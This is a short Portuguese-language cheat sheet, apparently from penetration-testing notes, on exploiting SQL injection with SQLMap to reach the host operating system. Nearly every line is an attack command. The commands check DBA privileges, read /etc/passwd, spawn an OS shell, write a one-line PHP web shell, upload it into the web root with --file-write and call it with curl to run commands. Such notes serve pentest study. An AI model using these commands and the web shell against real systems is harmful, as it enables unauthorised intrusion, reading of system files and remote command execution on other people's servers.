OS Exploitation
SQLMap tem a capacidade de utilizar SQL Injection para ler e gravar arquivos do sistema local fora do SGBD. O SQLMap também pode tentar nos fornecer a execução direta de comandos no host remoto se tivermos os privilégios adequados.
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba
Verifique os privilégios do DBA
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
Lendo um arquivo local
sqlmap -u "http://www.example.com/?id=1" --os-shell
--technique=E
Gerando um shell do sistema operacional
Misc
echo '<?php system($_GET["cmd"]); ?>' > shell.php
Escrevendo um arquivo
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
Tentar acessar o shell PHP remoto e executar um comando de exemplo:
curl http://www.example.com/shell.php?cmd=ls+-la
Last updated